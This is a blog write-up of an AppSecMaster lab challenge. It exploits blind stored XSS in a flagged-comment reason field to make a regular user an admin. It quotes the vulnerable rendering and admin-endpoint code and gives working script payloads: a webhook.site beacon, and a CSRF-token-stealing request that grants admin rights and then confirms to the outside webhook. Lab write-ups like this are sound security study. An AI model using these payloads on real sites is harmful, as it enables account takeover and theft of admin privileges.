Skip to content
Cyb3r7hr347's Blog
Go back

AppSecMaster - Blind XSS to Privilege Escalation

This writeup documents a Blind XSS vulnerability in a mini blog application from AppSecMaster.

Table of contents

Open Table of contents

Vulnerability Analysis

Code Analysis

The vulnerability exists in the renderComment function where flagged comment details are displayed to admins. The flagInfo.reason field is rendered directly into HTML without any sanitization. While flagInfo.flagType and flagInfo.flaggedBy are escaped using escapeHTML(), the reason field is not. This creates a XSS vulnerability that executes when administrators view flagged comments.

// Only show report details to admin
if (isAdmin && flagInfo) {
  flagStatus = `
        <div class="flag-details">
            <strong>⚠️ Flagged as ${escapeHTML(flagInfo.flagType)}:</strong> 
            ${flagInfo.reason}
            <div class="flag-meta">
                Flagged by ${escapeHTML(flagInfo.flaggedBy)} on ${new Date(flagInfo.timestamp).toLocaleString()}
            </div>
        </div>`;
}

Attack Vector

  1. Attacker registers/logs in as a regular user (alice, bob, etc.)
  2. Posts a comment
  3. Flags the comment with a malicious JavaScript in the “reason” field
  4. Payload gets stored in the flaggedComments array
  5. Admin views the flagged comments -> XSS payload executes in admin’s browser session
  6. Attacker can perform privileged actions

Exploitation

Basic Proof of Concept

I used the following payload to test if my approach would work. This payload will send an external request to the webhook, proving that the XSS worked.

<script>
fetch('https://webhook.site/YOUR-WEBHOOK-ID?xss=executed&timestamp=' + Date.now());
</script>

Working Privilege Escalation Exploit

The masterkey cookie is set for users where is_admin: true. Therefore we need to escalate the privileges of a normal user. Looking at the code, there is an endpoint which allows us to make any user admin.

// Edit user settings
app.post("/admin/users/edit", (req, res) => {
  if (!isAdmin(req)) return res.status(403).send("Forbidden");
  if (!verifyCSRF(req, res)) return res.status(403).send("Invalid CSRF token");

  const { username } = req.body;
  if (users[username]) {
    users[username].is_admin = true;
    res.redirect("/admin");
  } else {
    res.status(404).send("User not found");
  }
});

Based on that I created a payload which fetches the CSRF token and sends a POST request to the /admin/users/edit endpoint with the CSRF token and the username of the user. I also added a confirmation request to the external webhook page.

<script>
fetch('/admin').then(r => r.text()).then(h => {
    const t = h.match(/name="_csrf" value="([^"]+)"/)[1];
    fetch('/admin/users/edit', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        body: '_csrf=' + t + '&username=alice',
        credentials: 'include'
    }).then(() => fetch('https://webhook.site/YOUR-WEBHOOK-ID?done=1'))
})
</script>

Result

The Admin visits the page every 30 seconds… after this I can login as alice and get the masterkey from the cookie! 🎉

Key Takeaways


Share this post on:

Previous Post
Ghost Whisper - Command Injection via Unicode Normalization
Next Post
JinjaCare - Server-Side Template Injection